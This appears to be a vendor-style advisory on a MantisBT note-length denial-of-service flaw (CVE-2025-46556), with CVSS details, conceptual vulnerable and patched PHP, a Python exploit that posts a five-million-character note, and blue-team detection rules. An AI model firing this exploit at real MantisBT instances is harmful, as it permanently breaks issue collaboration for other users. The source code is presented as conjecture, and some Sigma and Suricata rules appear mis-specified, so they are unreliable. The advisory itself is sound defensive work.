CVE-2025-46556

Executive Summary

CVE-2025-46556 is a denial-of-service (DoS) vulnerability in Mantis Bug Tracker (MantisBT) versions 2.27.1 and below. The vulnerability allows an authenticated attacker to permanently corrupt the activity log of an issue by submitting an extremely long note (tested with 4,788,761 characters). This corruption prevents the activity stream UI from rendering, effectively breaking all future collaboration on that issue. The vulnerability is due to a lack of server-side validation of note length. The fix is available in version 2.27.2.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct issue in the MantisBT application source code. The risk is primarily to organizations self-hosting MantisBT.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The threat level is Medium due to the requirement for authentication and the lack of data confidentiality or integrity impact. However, the availability impact is high, as it can permanently break collaboration on a specific issue.

Deep Dive & Mechanics

The vulnerability resides in the note submission functionality of MantisBT. When a user adds a note to an issue, the application does not validate the length of the note on the server side. This allows an attacker to submit a note with an extremely large number of characters (e.g., 4,788,761). When the application attempts to render the activity log for that issue, the excessively long note causes a failure in the UI rendering process. This failure prevents any new notes from being displayed, effectively making the issue unusable for further collaboration.

The root cause is a missing server-side length check. While client-side validation may exist, it can be easily bypassed by sending a crafted HTTP request directly to the server.

Vulnerable vs. Patched Code

Vulnerable Code (2.27.1 and below): The vulnerable code likely lacks a server-side check on the note length before storing it in the database. The following is a conceptual representation of the vulnerable logic:

// Vulnerable: No length validation
function add_note($issue_id, $note_text) {
    $query = "INSERT INTO mantis_bugnote_table (bug_id, reporter_id, note, date_submitted, last_modified) VALUES (?, ?, ?, NOW(), NOW())";
    $result = db_query($query, array($issue_id, auth_get_current_user_id(), $note_text));
    return $result;
}

Patched Code (2.27.2): The patched code adds a server-side validation to ensure the note length does not exceed a reasonable limit.

// Patched: Server-side length validation
function add_note($issue_id, $note_text) {
    $max_length = 65535; // Example limit
    if (strlen($note_text) > $max_length) {
        trigger_error("Note text exceeds maximum length of " . $max_length . " characters.", ERROR);
        return false;
    }
    $query = "INSERT INTO mantis_bugnote_table (bug_id, reporter_id, note, date_submitted, last_modified) VALUES (?, ?, ?, NOW(), NOW())";
    $result = db_query($query, array($issue_id, auth_get_current_user_id(), $note_text));
    return $result;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on the target MantisBT instance.
• The target issue ID.

Exploitation Steps:

1. Authenticate to the MantisBT instance.
2. Obtain a valid session cookie.
3. Craft a POST request to the note submission endpoint (e.g., /bugnote_add.php) with an extremely long note string.
4. Send the request using a tool like curl or a custom script.

Example Exploit (Python):

import requests

target_url = "https://target-mantisbt.com/bugnote_add.php"
session_cookie = {"MANTIS_STRING_COOKIE": "your_session_cookie"}
issue_id = 1
long_note = "A" * 5000000  # 5 million characters

data = {
    "bug_id": issue_id,
    "note": long_note,
    "action": "add_note"
}

response = requests.post(target_url, cookies=session_cookie, data=data)
print(f"Status: {response.status_code}")

Expected Outcome: The note is added to the issue. Subsequent attempts to view the issue's activity log will fail, rendering the issue unusable.

Blue Team

Detection:

• Monitor for unusually large POST requests to note submission endpoints.
• Monitor database entries in the mantis_bugnote_table for notes with excessive length.
• Monitor application logs for errors related to note rendering.

Mitigation:

• Apply the patch by upgrading to MantisBT 2.27.2.
• Implement a Web Application Firewall (WAF) rule to block requests with note parameters exceeding a reasonable length.
• Enforce strict input validation on the server side.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /bugnote_add.php with a note parameter exceeding 1,000,000 characters.
• Host:
  • Database entries in mantis_bugnote_table with a note column containing a string of excessive length (e.g., > 1,000,000 characters).
  • Application error logs showing failures in rendering the activity log for a specific issue.
• Logs:
  • Web server logs showing requests with abnormally large payloads to note submission endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_46556_MantisBT_Note_Length_DoS {
    meta:
        description = "Detects excessively long notes in MantisBT database dumps"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-46556"
    strings:
        $note_field = /INSERT INTO mantis_bugnote_table.*VALUES.*'[A-Za-z0-9]{1000000,}'/ nocase
    condition:
        $note_field
}

Sigma Rule

title: CVE-2025-46556 - MantisBT Note Length DoS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-46556 by sending excessively long notes to MantisBT.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46556
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/bugnote_add.php'
        cs-uri-query|contains: 'note='
        sc-bytes|>=: 1000000
    condition: selection
falsepositives:
    - Legitimate large notes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46556 - MantisBT Note Length DoS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/bugnote_add.php"; http_uri; content:"note="; http_client_body; pcre:"/note=[A-Za-z0-9]{1000000,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade MantisBT to version 2.27.2 or later.
2. WAF Rule: Deploy a WAF rule to block requests with note parameters exceeding 65,535 characters.
3. Input Validation: Implement server-side validation to limit note length to a reasonable value (e.g., 65,535 characters).

Long-Term Actions:

1. Code Review: Review all input fields for proper server-side validation.
2. Security Testing: Regularly perform security testing, including fuzzing of input fields.
3. Monitoring: Implement monitoring for unusual request sizes and database anomalies.

Valters IT